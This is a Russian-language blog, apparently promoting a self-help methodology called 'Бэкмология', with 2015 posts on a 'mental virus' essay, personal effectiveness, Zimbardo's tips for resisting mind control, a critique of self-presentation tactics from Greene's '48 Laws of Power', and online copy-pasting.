Бэкмология – это практика всесторонней комплексной поддержки рационального поведения. В ее состав входят модели, свод знаний, сбалансированный инструментарий поддержки принятия и реализации решений и объединяющая их методология.

Бэкмология включает пособие «Создание решений для деловых проблем», которое описывает строгий, детализированный и очень человечный процесс решения неструктурированных деловых проблем, и пособие «Защита собственной психики» – полное руководство по приемам психологического воздействия (атака, давление, манипуляция, обман, блеф, зомбирование и др.) и техникам эффективной защиты от него. Также Бэкмология представлена методиками рациоконтроллинга и психоконтроллинга.


Те, у кого есть свой бизнес, могут начать знакомство с Бэкмологией с сессии «Улучшение продаж». Это честная профессиональная работа, ориентированная на результат.


пятница, 13 ноября 2015 г.

Ментальный вирус



Михаил Бойко – философ, культуролог, литературный критик, автор экспериментальных стихов и прозы, кандидат искусствоведения – пытается структурировать свое мировоззрение. В результате он определил ряд его составляющих, среди которых убеждение, что русский народ – это народ-мазохист. Вот что он пишет.

«По моему мнению, «самую главную, самую коренную духовную потребность русского народа» отметил Достоевский в «Дневнике писателя». Это – «потребность в страдании, страдании во всем, даже радости».

А у других народов этический максимум – сострадание: «Сострадание есть главнейший и, может быть, единственный закон бытия всего человечества».

Допустим, что это утверждение, не может быть механически распространено на весь русский народ. В таком случае, меня интересует та – лучшая! – часть русского народа, относительно которой наблюдение Достоевского верно.

Возможно, что это утверждение Достоевского ложно. В таком случае меня интересует «народ-мазохист» как историософская абстракция, поскольку только такой народ способен к постижению истины, в то время как западная цивилизации с ее гедонистическим культом обречена на центробежное движение.

Даже если представление о «русском мазохизме» и «рабской душе России» (Д. Ранкур-Лаферьер) является мифом, встает вопрос о его происхождении. В любом случае, это отдельное поле для исследования, и в этом исследовании не обойтись без анализа литературы. Как писал Федор Гиренок: «Русская литература всегда казалась мне странной. У всех она просто литература. У нас она ещё и философия. В ней, как в сундуке, хранится наше сознание. Наши философы – это писатели, а литература – это критический минимум русского сознания» («Литературная Россия», 2006, № 19). Именно поэтому я занимаюсь литературной критикой, а не философией».

Что нам хочет сказать Михаил Бойко?

Наверное, то, что следует пытаться избавиться от стереотипного мышления. Однако если тебя запрограммировали, то переданный тебе код ты будешь пытаться передать остальным – только так может распространяться вирус. Это как со «счастливым письмом», которое кладут в почтовый ящик. В письме имеется просьба его переписать и положить копию в другой ящик. Таким образом пожелание счастья распространяется среди людей.

Чтобы излечится, завирусованный человек пытается найти антидот. Но очистить свое подсознание он не в состоянии, и поэтому придумывает всякие ухищрения, чтобы заблокировать тревожащие его мысли. Подсознание однако делает свое дело – вирус продолжает распространяться, теперь уже в некоторой обертке, вуалирующей его сущность. В результате больному обществу так и не удается излечиться.

Что же делать? Неужели надо запретить Ф. М. Достоевского?

Запретами ничего не добьешься. Разумное предложение – усилием воли переключиться на другие темы. Тогда новые ассоциативные связи начнут образовываться вокруг этих тем, а связи по привнесенной вирусом теме постепенно станут разрушаться.

Заниматься критикой, а не философией – не лучший выход. Критика только укрепляет ассоциации «дурной» темы. Целесообразнее было бы переключиться на философствование вокруг «здоровых» тем.

«Дурные» вирусные темы навязываются нам повсеместно. Вот один из последних «горячих» примеров.

В своем ЖЖ некий Сергей Жаков, якобы политолог, эксперт-международник, бывший кадровый старший офицер Службы нелегальной разведки ПГУ КГБ СССР и СВР России, опубликовал статью «Путин сам взорвал своих туристов в Египте?»

Снова заглядываем в Интернет. Бывший заместитель начальника Первого главного управления КГБ СССР и начальник Службы нелегальной разведки ПГУ генерал-майор Юрий Дроздов придерживается того же мнения, что российский самолет в Египте взорван по приказу Путина. Естественно, это тему активно подхватила украинская пресса.

Очередная теорию заговора?  Вполне возможно. Как бы там ни было, эта тема для обычного человека непродуктивна. Только кремлевские обитатели знают, что на самом деле происходит в российской политике. Рядовым гражданам никогда не узнать правды, если они не построят в стране гражданское общество.

Таким образом, нам предлагается очередная «дурная» тема. Решаемая задача – манипулирование нашей психикой. Здесь не найти концов: какие цели преследовались, кто является заказчиком и автором публикаций, кому все это выгодно.

Итак, контрольный вопрос: «Что делать, если вас мучают мысли о трагедиях и  бедах, не давая наслаждаться жизнью и нормально засыпать по ночам?»

Независимо от ответа целесообразно ознакомится с методикойрациоконтроллинга Бэкмологии:



понедельник, 2 ноября 2015 г.

Личная эффективность



Внимание! В этой публикации не слишком много букв, ее можно читать до конца.


Эффективность – это достижение поставленной цели в заданных условиях (время, ресурсы, качество). Личная эффективность – это результативное достижение личных целей.

В сущности, личная эффективность – всего лишь мотиватор. Каждый стремиться жить той жизнью, которая его устраивает, а устраивает его та жизнь, которой он живет. Чтобы разорвать этот замкнутый круг, начинают рассуждать о личной эффективности.


На свете нет идеальных, то есть лишенных недостатков, людей, но при этом каждый психически здоровый человек чаще всего ведет себя так, как будто он идеален. Иначе и быть не может, ведь у каждого есть способность прислушиваться к собственному подсознанию и разуму, благодаря которой он может прогнозировать будущее и планировать собственное поведение. При этом совершаемые ошибки расцениваются как последствия объективной неопределенности, в отношении которой нельзя построить правдоподобного прогноза.

Развитие человека – это раскрытие его потенциала. Он движется к тому, что знает, или хотя бы тонким намеком предчувствует. Индивид живет в рамках собственного мировоззрения и  компетентности, за пределы которых он не спешит выходить. Изредка выглядывая за свои границы и отказываясь от прежних истин, человек тут же хватается за новые истины и снова замыкается на себе. Иными словами, жизнь любого человека состоит из ощущений, которые происходят в том, что обозначается местоимением «Я».

У каждого свой психотип, свои особенности восприятия мира и свои представления о жизни. За их границами чужой мир, к которому надо приспосабливаться, но этот мир всегда будет оставаться чужим. Именно поэтому уровень жизни разных людей существенно различается. Тот, кто чаще выглядывает наружу и старается принимать мир таким, каков он есть, добивается большего благосостояния. Тот же, кто всеми силами оберегает свой внутренний мир, вынужден довольствоваться скудными материальными благами. В условиях ограниченности жизненно важных ресурсов людям приходится строить социальные иерархии, чтобы распределить между собой результаты коллективного труда. Больший кусок всегда достается тем, кому хотя бы изредка удается разрушать барьеры собственной идеальности.

Практика со всей очевидностью показывает, что в отношении подавляющего большинства людей никакие доводы о необходимости повышать собственную личную эффективность не возымеют действия. Причина тому – самая банальная. У людей уже выработались все необходимые установки для поддержания собственной идеальности. Вот наиболее характерные из них:

  • тебя уже научили всему, что необходимо знать и уметь
  • ты всегда адекватен и не испытываешь проблем с принятием решений
  • у тебя все в порядке с самоорганизацией и личной эффективностью
  • ты достаточно самомотивирован
  • тебе не свойственна безрассудная склонность к риску
  • ты эмоционально стабилен, тебя почти никогда не захлестывают неконтролируемые эмоции
  • ты определенно знаешь, как в любой ситуации поступать, не создавая себе дополнительных проблем в будущем
  • для тебя почти не существует непреодолимых внешних обстоятельств
  • ты не совершаешь непоправимых ошибок
  • ты не поддаешься психологическому давлению
  • тобой нельзя манипулировать
  • ты быстро обучаешься в случае необходимости
  • поведение людей для тебя – открытая книга

Обобщающая установка: ты делаешь правильные вещи и, наверняка, станешь успешным и богатым, если, конечно, сильно захочешь.

Все эти установки действуют на подсознательном уровне. Даже если сознание периодически находит бреши в некоторых из них, установки все равно не разрушаются.

Книги, методики и тренинги по увеличению личной эффективности воспринимаются людьми не более чем интеллектуальное развлечение.


Никакие выводы из всего вышеизложенного не следуют, ибо их просто не может быть. Публикация написана лишь для констатации факта.

вторник, 1 сентября 2015 г.

Памятка «20 способов сопротивления нежелательному социальному воздействию»

    Цель «стратегий контроля сознания» заключается в манипулировании мыслями, чувствами и поведением других людей, имеющем своим результатом относительно большую выгоду для манипулирующего, нежели для тех, кто подвергается воздействию.

    Компоненты эффективного контроля сознания существуют в самых повседневных аспектах человеческого существования: внутренние потребности быть связанным с другими людьми; власть групповых норм, влияющая на поведение; сила социальных вознаграждений, таких, как улыбка, комплимент, ласковое прикосновение. Что гарантирует успех нежелательным (незапрашиваемым) социальным воздействиям, — включают ли они покупку новых продуктов, вхождение в круг новых отношений или просто поддержание статус-кво в неблагоприятном окружении, — так это наша слепота к потенциалу конкретных ситуаций. Этикет и протокол являются мощными замедлителями нешаблонного действия. Когда люди вокруг нас ведут себя одинаково и так, как этого от них ожидают, для нас становится трудным оценивать их действия критически или отклоняться от того, чего также ожидают и от нас в данной ситуации.

    Этот феномен не ограничивается «невежественными» или «порочными» личностями. Виды социального программирования, которому мы все подвергаемся в детстве, ограничивают пределы нашего восприятия подобных поведенческих возможностей искусно сделанной колеей. «Хороший ребенок» выучивает свое место во всех социальных окружающих обстановках; остается неизменным; вежлив; говорит только тогда, когда с ним разговаривают; является сотрудничающим; не причиняет трудностей и никогда не делает сцен. Как дети, мы вознаграждаемся за то, что идем в ногу с группой, за то, что не настаиваем на своем собственном пути. Нас учат, что более мудрый образ действий — идти вместе с силой, нежели бросать ей вызов.

    Принимая ситуационные социальные роли в каком-либо обрамлении, мы можем оказаться ведомыми невольно к тому, чтобы принять роли компаньонов в предписываемых сценариях: если она хочет играть «гостью», мы становимся «хозяином»; если он быстро берет на себя ответственность, мы пассивно отказываемся от части нашей собственной ответственности; если они являются конфликтующей парой, мы становимся посредниками. Коль скоро мы удобно устроились в какой-то социальной роли, наша поведенческая свобода подвергается риску трудно уловимыми способами. Интервьюируемые отвечают, но не задают вопросов; гости не требуют пищи получше; заключенные не отдают команд; публика слушает; «истинные верующие» веруют; спасатели жертвуют; крутые парни устрашают, другие испытывают ужас.

    Ожидания относительно того, какое поведение является подобающим и позволительным в рамках структуры [данной] роли, могут достичь того, чтобы контролировать нас более эффективно, чем самый талантливый мастер убеждать.

    Хотя большинство из нас чувствуют себя невосприимчивыми к тому, чтобы быть втянутыми в какую бы то ни было группу, даже со слабенькой видимостью культа, опять же большинство людей может глубоко вдохновляться общественным делом или людьми, которые кажутся разделяющими наше чувство ценностей. На вводном собрании сайентологов и в течение первых стадий ЭСТ-тренинга, например, люди искренни и открыты, даже воодушевлены; однако методики контроля, применяемые позднее, чтобы подавить несогласие в рядах, являются точно такими же, какие используются другими культами. Синанон, Сайентология, Сознание Кришны, Народный Храм, Церковь Унификации Муна, — названы только некоторые, — все просят предполагаемых членов «открыть свои души» к побуждению (в себе) новых идентичностей (личностей), к насыщению себя новым смыслом и чувством принадлежности и к воздержанию от рассудочности.

    Полезно помнить, что когда кто-либо из нас сталкивается с трудными проблемами, мы часто стремимся к простым ответам и простым действиям для нахождения наилучшего выхода. Превращение в человека, полностью погруженного в учение сильного лидера или в тотальную идеологию какой-либо в высшей степени сплоченной группы, может быть успокоительным. Но потеря желания формулировать уникальные, творческие идеи в любой ситуации равносильна отказу от чувства собственного «я». Всесторонняя неоспариваемая сатурация (пропитанность) мешает нашей способности критически оценивать свои действия, когда в наших лучших интересах это сделать.

    Чтобы нейтрализовать эту возможность, мы могли бы отказаться от разыгрывания социальных ролей, поисков социального вознаграждения, присоединения к организованным группам или обращать внимание на смоделированное поведение, — но только если мы также готовы полностью удалиться от общества. В качестве альтернативы мы могли бы предпочесть эмоционально отрешиться от определенных аспектов социальной жизни, но обычно это имеет тот недостаток, что оставляет нас без социальной поддержки, друзей, возлюбленных или чего-либо, во что можно верить. Хотя пребывание в состоянии отстраненности, достаточной для наблюдения и анализа, тесно связано с выживанием, полная отрешенность может привести к уходу (от жизни) или паранойе. Заключенный федеральной тюрьмы, которого держали в одиночном заключении несколько лет, сказал, что он «победил систему», отключив свои эмоции до того, как они смогли бы одолеть его. Теперь он не чувствует ничего.

    В этом заключен парадокс. Самоотстранение от социальной жизни, чтобы избежать «использования», является очевидно абсурдным; однако, чем больше мы открываемся мыслям других людей, тем вероятнее, что мы окажемся под их влиянием. В то же самое время открытая, страстная вовлеченность является существенным условием для некоторых из наиболее богатых форм человеческого опыта. Нам необходимо сильно чувствовать, полностью доверять, действовать по побуждению и ощущать себя связанным с другими членами общности. Нам нужно быть «пропитанными» жизнью и чувствовать, что мы можем временно отключать, по крайней мере, на какие-то периоды, наши оценочные способности, нашу внутреннюю настороженность. Однако мы должны быть способными возвращать назад и проверять наши переживания, размышлять над сделанным нами выбором и оценивать «доброкачественность» нашей вовлеченности. Колебание между этими полюсами, погружение и вновь отдаление на соответствующие периоды, и является задачей.

    Знание того, когда следует участвовать, когда — поддерживать и быть верным делу или отношению, а не уходить и не восставать против него, является деликатным вопросом. С ним сталкивается каждый в мире, где некоторые люди желали бы использовать нас, чтобы способствовать собственным потребностям контролировать, тогда как другие действительно хотят, чтобы мы делили с ними то, что они полагают в качестве взаимно позитивных целей. Хотя обман часто трудно обнаружить, взаимодействия или социальные ситуации, которые безошибочно приводят, вероятнее всего, к одному предсказуемому концу — пассивности и молчаливому согласию, — обычно можно определить вовремя, чтобы снова достичь какого-то хоть малейшего контроля. Осознание социального давления в конкретной ситуации делает возможным уменьшающий его выбор.
      
    Хотя мы не можем предложить защищающий совет для предохранения от всех многочисленных личин, под которыми маскируются системы контроля сознания, мы надеемся, что обобщенное знание, данное здесь, по крайней мере, создает интеллектуальный контекст для оценки множества каналов такого влияния. Знание является наиболее важным ингредиентом в решении вопроса об уменьшении уязвимости в отношении контроля сознания, но, хотя оно необходимо, его недостаточно. Его следует претворить в практику, проверить, испытать, разыграть по ролям и лично испытать эмоционально-мотивационную составную часть, прежде чем вы сможете положиться на то, что ваше знание и хорошие намерения перейдут в эффективное противодействие.

    Ниже дается набор рекомендаций по сопротивлению контролю сознания, отобранных из литературы по убеждению, согласию и смене установки, дополненный нашим личным и профессиональным опытом.

  1. Практикуйте временами девиантное (отклоняющееся от привычной нормы) поведение; нарушайте свой обычный ролевой и личностный образ; учитесь принимать отвержение; играйте с рассматриванием себя по-разному.
  2. Практикуйте высказывания: "Я сделал ошибку, "Мне жаль", "Я был не прав", "...и я научился на этой ошибке".
  3. Отдавайте себе отчет в общей перспективе, которую другие используют для обрамления проблемы, ситуации, текущего события, поскольку принятие их рамки в их терминах дает им силовое преимущество. Будьте готовы отступить и отвергнуть целостную (единую) рамку и предложите вашу альтернативу перед обсуждением деталей.
  4. Будьте более готовы претерпевать кратковременные потери в деньгах, самоуважении, времени и усилиях, чем страдать от разлада по поводу пагубного обязательства, которое держит вас взаперти. Примиряйтесь с "заниженными издержками", игнорируйте искушение и двигайтесь дальше с жизненным знанием, извлеченным из вашей ошибки или неверного решения, позволяющим не повторять этого.
  5. Будьте готовы отступить назад из любой межличностной ситуации и сказать себе и этому значимому (контролирующему) другому: "Я могу продолжать жить без твоей любви, дружбы, расположения, плохого обращения, даже если такое действие может ранить — пока ты не прекратишь делать X и не начнешь делать Y".
  6. Всегда избегайте предпринимать сомнительные действия, которые, как настаивает провокатор изменения, должны быть сделаны немедленно; выходите из ситуации, выделяйте время для размышления, добывайте беспристрастные дополнительные мнения, никогда не торопитесь сразу соглашаться.
  7. Настаивайте на понятных объяснениях, без двусмысленной речи; парафразируйте ваш взгляд на это. Не позволяйте провокаторам изменения делать вас чувствующим себя глупым; слабые объяснения являются признаками обмана или недостатка адекватного знания у якобы информированного собеседника.
  8. Будьте чувствительными к ситуационным требованиям, какими бы тривиальными они вам ни могут казаться: ролевые отношения, униформы, символы власти, знаки, титулы, групповые давления, правила, видимый консенсус, редко встречающиеся лозунги, обязанности и обязательства.
  9. Будьте особенно настороже в установлении отношений "хозяин-гость", в которых вас побуждают чувствовать и действовать как гостя, таким образом накладывая компромисс на вашу свободу выбора и действия.
  10. Не верьте в простые решения сложных личных, социальных и политических проблем.
  11. Помните, что нет такой вещи, как подлинная, безусловная любовь со стороны незнакомых людей; любовь, дружба и доверие могут быть развиты со временем и обычно включают взаимообмен, преодоления и соучастие — некоторую работу и обязательство с вашей стороны.
  12. Когда обнаруживаете себя в обстановке обезличенного влияния, выделяйте из ряда подобных себя и агента влияния, чтобы установить взаимную человечность, индивидуальность, совместные интересы; прорывайтесь через ролевые ограничения посредством контакта глаза в глаза, личных имен и похвал; владейте своей и партнерской личностными идентичностями.
  13. Избегайте "тотальных ситуаций", которые непривычны и в которых у вас мало контроля и свободы; немедленно определяйте границы вашей автономии; проверяйте психологические и физические выходы: принимайте небольшие ссоры как приемлемые издержки ухода от того, что могло быть большей потерей, если было бы доведено до конца.
  14. Практикуйте "независимое участие" ("беспристрастный интерес"), занимайте свое сознание критическим оцениванием, отключайте свои эмоции в конфронтациях с теми, кто являются по-маккиавелевски сильными манипуляторами.
  15. Жадность и раздувающая самолюбие лесть далеко продвинут манипуляторов-контролеров сознания и агентов жульничества, но только если вы позволяете себе быть совращенным этими ложными мотивами; сопротивляйтесь их соблазну, ориентируясь на самого честного, уверенного в себе человека, которого вы знаете.
  16. Распознавайте ваши симптомы вины и индукции вины, провоцируемой в вас другими; никогда не действуйте по мотивам вины. Относитесь терпимо к вине как части вашей человеческой натуры, не спешите улучшать ее на тех путях, которые планируют вам другие.
  17. Будьте внимательными в том, что вы делаете в данной ситуации, не позволяйте привычке и стандартной текущей процедуре заставлять вас действовать бездумно в том, что является слегка иной ситуацией.
  18. Нет необходимости поддерживать соответствие между вашими действиями в разные моменты времени; вы можете измениться и не придерживаться фальшивого стандарта пребывания «надёжным» и поддержания статус-кво.
  19. Легитимная (законная) власть заслуживает уважения и иногда нашего послушания, но незаконную власть всегда нужно отвергать, не повиноваться и разоблачать.
  20. Недостаточно открыто высказывать расхождение во взглядах или эмоционально страдать от незаконной деятельности или при изменении правил игры, как вы понимаете их, — вы должны быть готовы открыто не подчиняться, защищаться, бросать вызов и претерпевать последствия такого поведения.


Отрывок из перевода статьи: Зимбардо Ф., Андерсен С. Объяснение контроля сознания: экзотические и повседневные манипуляции сознанием. [Из книги: Recovery from Cults: Help for Victims of Psychological and Spiritual Abuse. WW Norton, 1995]

воскресенье, 16 августа 2015 г.

Бэкмология комментирует 48 законов власти Роберта Грина


Весьма популярная в России книга Роберта Грина «48 законов власти» изобилует массой весьма любопытных мыслей, которые любой здравомыслящий человек вряд ли возьмет на вооружение. Такие люди встречаются нечасто, их обычно стараются не замечать, мнение этих людей принимается в расчет только в критических ситуациях. Р. Грин и не видел их среди почитателей своего таланта. Книга рассчитана на малообразованную публику, падкую на скандальные сенсации и охочую до агрессивного поведения. Для этой публики авторитет Р. Грина непререкаем. Таким образом, прочитав «48 законов власти», знакомишься менталитетом и паттернами поведения обывателя. Это воистину настольное руководство, чего следует ожидать от обывателя.




Закон 6. Завоевывай внимание любой ценой

Обо всем судят по внешнему облику; то, чего увидеть нельзя, не имеет ценности. Поэтому никогда не позволяйте себе затеряться в толпе или кануть в Лету. Выделяйтесь. Бросайтесь в глаза, чего бы это ни стоило. Притягивайте к себе, как магнит, кажитесь крупнее, красочнее, загадочнее, чем множество скромных и вежливых людей вокруг.

О чем здесь идет речь? О публичность власти? Нет! О самопрезентации власти? По всей видимости, да! Явно, имеется в виду имидж, которым должен обладать представитель власти, чтобы ему было проще оказывать социальное влияние. Конечно, власть должна быть сразу узнаваемой. Поэтому представители власти ездят на черных машинах, носят дорогие костюмы, имеют властные жесты и т.д.

Самопрезентация – это умение подавать себя, привлекая к себе внимание, актуализируя интерес людей на своих видео- и аудиокачествах.

Термин самопрезентация используется как синоним управления впечатлением для обозначения множества стратегий и тактик (техник), применяемых индивидом при создании и контроле своего внешнего имиджа и впечатления о себе, которые он демонстрирует окружающим. Когда говорят о самопрезентации, имеют прежде всего стратегии и тактики, которые должны максимально полно отвечать общей цели представить себя в наиболее выгодном свете и тем самым обеспечить собственное коммуникативное, идеологическое, политическое или иное доминирование.

Все техники самопрезентации можно условно разделить на вербальные и невербальные.

К невербальным техникам относятся:

  • самоподача превосходства – выделение, акцентирование внешних признаков превосходства в одежде, манере речи, манера держаться, обстановка и др.
  • самоподача привлекательности – работа, затраченная на приведение одежды в соответствие с внешними данными.

Вербальные (коммуникативные) техники самопрезентации бывают прямыми и непрямыми. Прямые техники – это самоописания через личностные и социально-ролевые характеристики, через действия и увлечения, а также через истории о своей жизни (нарративы). Непрямые (косвенные) техники – это использование информации о других людях для повышения собственного статуса и «озвучивании» своих установок (аттитюдов).

Прямые тактики самопрезентации базируются на коммуникативных техниках демонстрации профессиональных достоинств, продвижения продукта профессиональной деятельности, поддакивания, проявления дружелюбия, демонстрации общественной значимости, демонстрации нравственных качеств. Непрямые тактики самопрезентации базируются на коммуникативных техниках ссылки на обстоятельства, опровержения порочащих мнений.

Различают следующие прямые коммуникативные тактики:

  • заискивание (старание понравиться)
  • самопродвижение
  • запугивание
  • пояснение примером (экземплификация)
  • самозатруднение.

Заискивание. Старание понравиться – попытка представить себя привлекательным в глазах других. Тот, кто старается понравиться, должен скрывать реальную цель своей активности, или он достигнет обратного эффекта. Выделяются несколько основных способов, которыми человек может пытаться достигнуть цели выглядеть желаемым для других:

  • просто соглашаться с тем, что думает и утверждает объект
  • похвалить достоинства и личность объекта
  • оказывать благосклонность человеку, которому необходимо понравиться.

Эти стратегии требуют тонкости. Если их использовать необдуманно, они выдают намерения субъекта. Кроме того, они могут вызвать дополнительные проблемы. Объекта, которому необходимо понравиться, обмануть легче, чем наблюдателей, так как люди, как правило, позитивно относятся к себе и своим суждениям. Люди верят, что их мнения верны, они не очень подозрительны к тем, кто согласен с ними. Но это не относится к сторонним наблюдателям, обладающим своими наборами суждений. Поэтому человек, стремящийся понравиться, может повышать свою позицию в глазах объекта и в то же самое время снижать свои позиции в глазах наблюдателей.

Самопродвижение. Если старание понравиться – попытка выглядеть привлекательным, то человек, продвигающий себя, пытается выглядеть компетентным. Например, претендент на вакантную позицию может избрать путь демонстрации своей привлекательности, а может показывать свою компетентность. Старание понравиться – это стратегия, цель которой — вызвать симпатию, в то время как самопродвижение имеет своей целью получение уважения со стороны других людей. Наиболее эффективный способ самопродвижения – демонстрация своих знаний и умений.

Запугивание. Запугивающий должен постараться убедить объект в том, что он потенциально опасен, т.е. может и будет причиной неприятностей, если объект откажется делать то, что от него требуют. Это также опасная стратегия. Во-первых, запугивающий может выглядеть грубым. Во-вторых, людям не нравятся те, кто их запугивает, и они общаются с ними, имея на то серьезные причины.

Пояснение примером. Избравший эту стратегию должен убедить объект, что он может служить примером, скажем, честности или моральных достоинств. Таким образом, являющийся примером занимается, в каком-то смысле, самопродвижением. Однако продвигающий себя демонстрирует компетентность, в то время как поясняющий примером демонстрирует значимость своей личности. Эта стратегия также опасна. Служащий примером рискует, что объекту откроется: на самом деле он не представляет из себя то, что пытается продемонстрировать.

Самозатруднение. Считается, что человек старается избегать помехи и затруднения. Но есть обстоятельства, когда он может искать их. Например, если ему предстоит быть оцененным при решении некого задания и он не уверен, что в состоянии выполнить его хорошо. Самозатруднение имеет два преимущества: 1) если человек провалится, это обеспечит ему оправдание; 2) если человек выиграет, это увеличит его успех.

Некоторые люди сами создают себе помехи по разным причинам. Люди с высокой самооценкой могут увеличивать свои достижения, в то время как люди с низкой самооценкой могут использовать эту стратегию, чтобы оградить себя от поражений.

Если интерес состоит в том, чтобы произвести впечатление на других, тогда необходимо создать видимость наличия помех. Это часто можно наблюдать, когда перед выполнением какого-либо действия человек объявляет о том, что он неважно себя чувствует, что, несомненно, помешает ему успешно справиться со своей задачей. Но если интерес не в том, чтобы убедить других, а в том, чтобы убедить себя, тогда необходимо действительно иметь помеху. Таким образом, самозатруднение повышает ценность успеха и уменьшает цену поражения.

Таблица. Прямые коммуникативные тактики самопрезентации
Стратегия
Техника
Цель
Заискивание
Выражать согласие (поддакивание)
Льстить
Оказывать благосклонность (дружелюбие)
Казаться привлекательным
(власть обаяния)
Самопродвижение, самореклама
Хвастать
Демонстрировать знания
Демонстрировать умения
Казаться компетентным
(власть эксперта)
Запугивание
Выдвигать требования
Угрожать неприятностями
Казаться опасным
(власть страха)
Пояснение примером
Хвастать
Демонстрировать свои достоинства: общественную значимость, нравственные качества
Казаться достойным подражания
(власть наставника)
Самозатруднение
Мольба
Демонстрировать слабость и зависимость
Умолять
Казаться слабым
(власть сострадания)

Различают четыре непрямых коммуникативных тактики: снятие ответственности, наслаждение отраженной славой, вредительство, уклонение от ответа.

Снятия ответственности. Тактику снятия ответственности представляют следующие техники: «ссылка на обстоятельства» (например, проблемы персонала, финансирования), «опровержение порочащих мнений».

Наслаждаться отраженной славой. Заключается в использовании чужого успеха в целях своей самопрезентации. Данная тактика преимущественно реализуется с помощью приемов «сближение по свойствам» (например, похожесть на известного актера) и очерчивание круга «свои – чужие» (например, иметь в друзьях известного политика).  При этом необходимо проработать два момента. Во-первых, правильно выбрать объект, популярность которого может оказать влияние на значимую аудиторию. Во-вторых, правильно обозначить свое отношение к этому объекту. Для этого, возможно, что более эффективным окажется не прямое декларирование, а косвенные указания, например использование знаков социальной символики.

Вредительство. Тактика вредительства направлена на намеренное принижение другого человека. Субъект достигает цели позитивного позиционирования, раскрывая и нередко преувеличивая несовершенства других в глазах аудитории, чтобы выглядеть лучше на их фоне. Тактика заключается в намеренном преувеличении недостатков чего-либо или кого-либо для повышения собственного статуса в глазах окружающих. Несмотря на то, что это опасная техника, как показали исследования, она достаточно часто используется.

Уклонение от ответа. Представляя себя с выгодной стороны, субъект стремится раскрыть определенную информацию перед аудиторией и скрыть (видоизменить) другую. В таком случае часто прибегают к тактике уклонения от ответа. Субъект уклоняется от ответа на некорректный вопрос через расплывчатость ответной реплики и ссылку на отсутствие информации. Тактика уклонения от ответа реализуется с помощью следующих приемов и ходов: игнорирование, ирония, преувеличение, ссылка на незнание (отсутствие релевантной информации). Данная тактика является одной из наиболее часто используемых непрямых тактик коммуникативной стратегии самопрезентации наряду с тактикой снятия ответственности.

***

Общепринятая социальная установка – достоин внимания только тот, кто умеет подать и самого себя, и результаты своего труда. Необходимость в самопрезентации, как распространении о себе и своей работе положительного мнения в социуме, можно обосновать. Энергия, потраченная на самопрезентацию, – это энергия, сэкономленная на восприятии. Типичный покупатель не хочет излишне напрягаться ради выбора наилучшего товара среди ряда аналогичных. Он возьмет тот товар, который ему сразу же приглянулся, и не будет заниматься утомительным сравнением. Конечно, имеются покупатели, которым сам процесс покупки доставляет удовольствие. Им необходимо перебрать и перепробовать все товары, пока они не сделают финальный выбор, в этот период они испытывают сильнейшие эмоции, а собственно приобретение выбранного товара уже не вызывает у них сильных ощущений. Но подобных индивидов меньшинство, в основном же люди представляют собой типичных покупателей.

Здесь речь идет о некритичном отношении публики к тому, что ей представляют. Публика желает развлекаться, а не думать над смыслом происходящего. Если ее обманывают, она в будущем отплатит дурному поставщику услуг негативным общественным мнением. В этом поведении имеется своя рациональность. Зачем нужен такой социум, в котором нет социального доверия?! Люди объединяются в общество, чтобы им было легче жить. Основой построения общества является доверие друг к другу, и заслуживает наибольшего доверия прежде всего тот, кто владеет искусством самопрезентации.

Если человек живет в обществе, он обязан обществу себя преподнести, а оно в свою очередь отплатит ему доверием. И вправду, никто не станет слушать человека, не способного или не желающего себя преподнести, не умеющего защищать свои позиции, отстаивать собственное мнение. Подобному человеку заранее уготовлено место неудачника, каким бы умным и плодотворным он ни был.

Без самопрезентации возможно только социальное недоверие. Но в этом состоянии общество долго существовать не может, оно разрушится. Поэтому у людей в отношениях друг с другом нет иного пути, кроме как путь постоянной самопрезентации. У одних – составляющих верхушку общества людей – она получается лучше, у других – скромных и вежливых людей – хуже. Не обходится здесь без злоупотреблений, что приводит к чрезмерному контролю одних над другими. Естественно, пробиться к власти без самопрезентации немыслимо.

Если человек не полагается в своих оценках других людей исключительно на их самопрезентации, у него появляются возможности лучше контролировать ситуации, с которыми приходится сталкиваться, он не попадает под тотальный контроль со стороны власти. Попадая во властные структуры и желая там удержаться, человеку необходимо постоянно держать «включенным» критическое мышление, оценивая других людей не только по тому, как они себя представляют, но и по их истории, а также другим факторам.

Итак, самопрезентация – это весьма комплексное явление. С одной стороны, человек, если хочет пробиться в «люди», должен уметь хорошо приукрасить и представить себя, с другой стороны, самопрезентация других людей не должна «проглатываться» без соответствующей критической оценки. Искусство самопрезентации – противоречивое искусство. Порой человеку становится сложно представлять себя, видя, насколько мерзко это делают другие.

вторник, 4 августа 2015 г.

Победит ли уникальный контент копипастинг?



Считается, что у каждого явления имеется собственный жизненный цикл. Интернет не является исключением. Сегодня всемирная сеть вступила в стадию нещадной борьбы с «копипастингом», приветствуется лишь уникальный контент. Наряду с профессиональными писателями и журналистами образовалась многочисленная армия авторов, пишущих специально для публикации в сети Интернет.

Открывают свои веб-сайты или «живые» странички все, кому не лень. Одни, опубликовав пару собственных щемящих душу концепций и с десяток заметок на разные темы, к новому виду деятельности быстро охладевают и возвращаются к своей прежней жизни. Другие, считая собственное присутствие в Интернет как бы обязательным, соответствующим духу времени, на общественных началах с завидной периодичностью выдают в своих живых журналах скопившиеся мудрые мысли по поводу всего происходящего вокруг. Для третьих, кому, по-видимому, не повезло с профессией, написание новостных постов становится ремеслом. Они превращаются в профессиональных блогеров.

Также есть еще масса копирайтеров, которые пишут под заказ, т.е. за мизерные деньги, на заданные темы. Задача этих «перцев» – заполнять коммерческие сайты различной информацией на тему продаваемых товаров и услуг. По данной информации эти сайты будут лучше отыскиваться поисковыми системами Гугл и Яндекс.

Помимо всей этой пишущей уникальный контент братии, за что всем им от имени бескрайней Вселенной огромное спасибо, остается еще немало тружеников так называемого «копипастинга», которые копируют различную информацию из одних источников и публикуют ее на множестве сайтов. Именно они оцифровывают и тиражируют бумажные книги и статьи. Этих «перцев» интернет-сообщество с недавних пор очень невзлюбило – считается, что они засоряют всемирную сеть…

